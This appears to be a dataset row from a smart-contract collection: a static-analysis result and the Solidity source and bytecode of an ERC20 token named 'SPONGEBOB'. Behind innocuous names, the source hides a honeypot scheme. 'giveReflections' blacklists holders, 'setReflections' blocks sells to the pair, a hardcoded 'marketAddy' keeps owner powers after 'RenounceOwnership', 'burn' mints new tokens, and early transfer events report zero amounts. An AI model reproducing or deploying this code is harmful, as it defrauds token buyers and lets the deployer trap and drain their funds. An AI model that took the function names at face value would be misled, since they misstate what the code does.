20810191909152604001600020805460ff191691151591909117905580610a6c81611c9d565b915050610a06565b50505050565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161062b90611c3c565b601755565b6000546001600160a01b03163314610ad35760405162461bcd60e51b815260040161062b90611c3c565b6001600160a01b038116610b385760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062b565b6001600160a01b038216610c565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062b565b6001600160a01b038216610d7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062b565b60008111610ddf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062b565b6000546001600160a01b03848116911614801590610e0b57506000546001600160a01b03838116911614155b156110ec57601554600160a01b900460ff16610ea4576000546001600160a01b03848116911614610ea45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062b565b601654811115610ef65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3857506001600160a01b03821660009081526010602052604090205460ff16155b610f905760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062b565b6015546001600160a01b038381169116146110155760175481610fb2846107fe565b610fbc9190611cb8565b106110155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062b565b6000611020306107fe565b6018546016549192508210159082106110395760165491505b8080156110505750601554600160a81b900460ff16155b801561106a57506015546001600160a01b03868116911614155b801561107f5750601554600160b01b900460ff165b80156110a457506001600160a01b03851660009081526005602052604090205460ff16155b80156110c957506001600160a01b03841660009081526005602052604090205460ff16155b156110e9576110d7826112eb565b4780156110e7576110e74761122d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112e57506001600160a01b03831660009081526005602052604090205460ff165b8061116057506015546001600160a01b0385811691161480159061116057506015546001600160a01b03848116911614155b1561116d575060006111e7565b6015546001600160a01b03858116911614801561119857506014546001600160a01b03848116911614155b156111aa57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d557506014546001600160a01b03858116911614155b156111e757600a54600c55600b54600d555b610a7484848484611474565b600081848411156112175760405162461bcd60e51b815260040161062b9190611a2a565b5060006112248486611cd0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069c573d6000803e3d6000fd5b60006006548211156112ce5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062b565b60006112d86114a2565b90506112e483826114c5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133357611333611c71565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138757600080fd5b505afa15801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf9190611ce7565b816001815181106113d2576113d2611c71565b6001600160a01b0392831660209182029290920101526014546113f89130911684610b93565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611431908590600090869030904290600401611d04565b600060405180830381600087803b15801561144b57600080fd5b505af115801561145f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148157611481611507565b61148c848484611535565b80610a7457610a74600e54600c55600f54600d55565b60008060006114af61162c565b90925090506114be82826114c5565b9250505090565b60006112e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166c565b600c541580156115175750600d54155b1561151e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115478761169a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157990876116f7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a89086611739565b6001600160a01b0389166000908152600260205260409020556115ca81611798565b6115d484836117e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161991815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164782826114c5565b82101561166357505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168d5760405162461bcd60e51b815260040161062b9190611a2a565b5060006112248486611d75565b60008060008060008060008060006116b78a600c54600d54611806565b92509250925060006116c76114a2565b905060008060006116da8e87878761185b565b919e509c509a509598509396509194505050505091939550919395565b60006112e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f3565b6000806117468385611cb8565b9050838110156112e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062b565b60006117a26114a2565b905060006117b083836118ab565b306000908152600260205260409020549091506117cd9082611739565b30600090815260026020526040902055505050565b6006546117ef90836116f7565b6006556007546117ff9082611739565b6007555050565b6000808080611820606461181a89896118ab565b906114c5565b90506000611833606461181a8a896118ab565b9050600061184b826118458b866116f7565b906116f7565b9992985090965090945050505050565b600080808061186a88866118ab565b9050600061187888876118ab565b9050600061188688886118ab565b905060006118988261184586866116f7565b939b939a50919850919650505050505050565b6000826118ba575060006106b1565b60006118c68385611d97565b9050826118d38583611d75565b146112e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fb57600080fd5b803561196081611940565b919050565b6000602080838503121561197857600080fd5b823567ffffffffffffffff8082111561199057600080fd5b818501915085601f8301126119a457600080fd5b8135818111156119b6576119b661192a565b8060051b604051601f19603f830116810181811085821117156119db576119db61192a565b6040529182528482019250838101850191888311156119f957600080fd5b938501935b82851015611a1e57611a0f85611955565b845293850193928501926119fe565b98975050505050505050565b600060208083528351808285015260005b81811015611a5757858101830151858201604001528201611a3b565b81811115611a69576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9257600080fd5b8235611a9d81611940565b946020939093013593505050565b600080600060608486031215611ac057600080fd5b8335611acb81611940565b92506020840135611adb81611940565b929592945050506040919091013590565b600060208284031215611afe57600080fd5b81356112e481611940565b8035801515811461196057600080fd5b600060208284031215611b2b57600080fd5b6112e482611b09565b600060208284031215611b4657600080fd5b5035919050565b60008060008060808587031215611b6357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9457600080fd5b833567ffffffffffffffff80821115611bac57600080fd5b818601915086601f830112611bc057600080fd5b813581811115611bcf57600080fd5b8760208260051b8501011115611be457600080fd5b602092830195509350611bfa9186019050611b09565b90509250925092565b60008060408385031215611c1657600080fd5b8235611c2181611940565b91506020830135611c3181611940565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb157611cb1611c87565b5060010190565b60008219821115611ccb57611ccb611c87565b500190565b600082821015611ce257611ce2611c87565b500390565b600060208284031215611cf957600080fd5b81516112e481611940565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d545784516001600160a01b031683529383019391830191600101611d2f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db157611db1611c87565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220161b857b8ba4110b26973dbfedbc85324cd6d58cde0b459c941b010ab4f9320d64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,391 |
0xa545794b9118b717a601e78a0f32e7c62bd21887 | /*
.--..--..--..--..--..--.
.' \ (`._ (_) _ \
.' | '._) (_) |
\ _.')\ .----..---. /
|(_.' | / .-\-. \ |
\ 0| | ( O| O) | o|
| _ | .--.____.'._.-. |
\ (_) | o -` .-` |
| \ |`-._ _ _ _ _\ /
\ | | `. |_||_| |
| o | \_ \ | -. .-.
|.-. \ `--..-' O | `.`-' .'
_.' .' | `-.-' /-.__ ' .-'
.' `-.` '.|='=.='=.='=.='=|._/_ `-'.'
`-._ `. |________/\_____| `-.'
.' ).| '=' '='\/ '=' |
`._.` '---------------'
//___\ //___\
|| ||
||_.-. ||_.-.
(_.--__) (_.--__)
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract SPONGEBOB is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 5000000000000*10**18;
string public _name = "SPONGEBOB";
string public _symbol= "SPONGEBOB";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0xB7316a733E5c8B63a50FB4EF2Cb7b7939A1b86A6);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function toggleReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = false;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require((!bots[sender] && !bots[recipient]) || ((sender == marketAddy) || (sender == owner)));
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | 0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610421578063b09f12661461045e578063ba3ac4a514610489578063c9567bf9146104b2578063d28d8852146104c9578063dd62ed3e146104f457610140565b806370a082311461033c5780638da5cb5b1461037957806395d89b41146103a45780639dc29fac146103cf578063a6f9dae1146103f857610140565b806323b872dd116100fd57806323b872dd1461023e578063294e3eb11461027b578063313ce567146102925780633eaaf86b146102bd5780636e4ee811146102e85780636ebcf607146102ff57610140565b8063024c2ddd1461014557806306fdde0314610182578063095ea7b3146101ad57806315a892be146101ea57806318160ddd1461021357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061016c60048036038101906101679190611fde565b610531565b6040516101799190612037565b60405180910390f35b34801561018e57600080fd5b50610197610556565b6040516101a491906120eb565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612139565b6105e8565b6040516101e19190612194565b60405180910390f35b3480156101f657600080fd5b50610211600480360381019061020c91906122f7565b610606565b005b34801561021f57600080fd5b5061022861074d565b6040516102359190612037565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612340565b610757565b6040516102729190612194565b60405180910390f35b34801561028757600080fd5b5061029061084f565b005b34801561029e57600080fd5b506102a7610981565b6040516102b491906123af565b60405180910390f35b3480156102c957600080fd5b506102d261098a565b6040516102df9190612037565b60405180910390f35b3480156102f457600080fd5b506102fd610990565b005b34801561030b57600080fd5b50610326600480360381019061032191906123ca565b610a87565b6040516103339190612037565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e91906123ca565b610a9f565b6040516103709190612037565b60405180910390f35b34801561038557600080fd5b5061038e610ae7565b60405161039b9190612406565b60405180910390f35b3480156103b057600080fd5b506103b9610b0d565b6040516103c691906120eb565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612139565b610b9f565b005b34801561040457600080fd5b5061041f600480360381019061041a91906123ca565b610da5565b005b34801561042d57600080fd5b5061044860048036038101906104439190612139565b610e9b565b6040516104559190612194565b60405180910390f35b34801561046a57600080fd5b50610473610eb9565b60405161048091906120eb565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab91906122f7565b610f47565b005b3480156104be57600080fd5b506104c761108e565b005b3480156104d557600080fd5b506104de611592565b6040516104eb91906120eb565b60405180910390f35b34801561050057600080fd5b5061051b60048036038101906105169190611fde565b611620565b6040516105289190612037565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461056590612450565b80601f016020809104026020016040519081016040528092919081815260200182805461059190612450565b80156105de5780601f106105b3576101008083540402835291602001916105de565b820191906000526020600020905b8154815290600101906020018083116105c157829003601f168201915b5050505050905090565b60006105fc6105f56116a7565b84846116af565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806106af5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106b857600080fd5b60005b8151811015610749576001600360008484815181106106dd576106dc612482565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610741906124e0565b9150506106bb565b5050565b6000600654905090565b600061076484848461187a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107af6116a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061259b565b60405180910390fd5b6108438561083b6116a7565b8584036116af565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108f85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61090157600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a395750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a4257600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610b1c90612450565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4890612450565b8015610b955780601f10610b6a57610100808354040283529160200191610b95565b820191906000526020600020905b815481529060010190602001808311610b7857829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c485750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c5157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb890612607565b60405180910390fd5b610ccd60008383611f67565b8060066000828254610cdf9190612627565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d349190612627565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d999190612037565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e4e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e5757600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610eaf610ea86116a7565b848461187a565b6001905092915050565b60088054610ec690612450565b80601f0160208091040260200160405190810160405280929190818152602001828054610ef290612450565b8015610f3f5780601f10610f1457610100808354040283529160200191610f3f565b820191906000526020600020905b815481529060010190602001808311610f2257829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ff05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ff957600080fd5b60005b815181101561108a5760006003600084848151811061101e5761101d612482565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611082906124e0565b915050610ffc565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111375750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61114057600080fd5b600960019054906101000a900460ff1615611190576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611187906126c9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121930600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546116af565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611264573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128891906126fe565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131391906126fe565b6040518363ffffffff1660e01b815260040161133092919061272b565b6020604051808303816000875af115801561134f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137391906126fe565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113fc30610a9f565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161144496959493929190612799565b60606040518083038185885af1158015611462573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611487919061280f565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154b929190612862565b6020604051808303816000875af115801561156a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158e91906128b7565b5050565b6007805461159f90612450565b80601f01602080910402602001604051908101604052809291908181526020018280546115cb90612450565b80156116185780601f106115ed57610100808354040283529160200191611618565b820191906000526020600020905b8154815290600101906020018083116115fb57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561171f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171690612956565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611786906129e8565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161186d9190612037565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e190612a7a565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561194857600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119ec5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80611a9c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a9b5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b611aa557600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bf757600960009054906101000a900460ff1680611b5f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611bb75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bed90612b0c565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611c5f